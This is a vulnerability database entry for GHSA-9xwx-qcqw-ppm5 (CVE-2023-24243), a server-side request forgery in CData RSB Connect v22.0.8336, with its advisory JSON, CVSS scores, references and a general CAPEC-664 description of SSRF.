      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XWX-QCQW-PPM5

Vulnerability from github – Published: 2023-06-16 18:30 – Updated: 2024-04-04 04:55
VLAI
Details

CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-24243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-16T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).",
  "id": "GHSA-9xwx-qcqw-ppm5",
  "modified": "2024-04-04T04:55:08Z",
  "published": "2023-06-16T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24243"
    },
    {
      "type": "WEB",
      "url": "https://arc.cdata.com"
    },
    {
      "type": "WEB",
      "url": "https://arc.cdata.com/trial"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/d3vc0r3/6460a5f006e32a2ebffe739e411ab1b8"
    },
    {
      "type": "WEB",
      "url": "https://www.cdata.com/kb/entries/netembeddedserver-notice.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.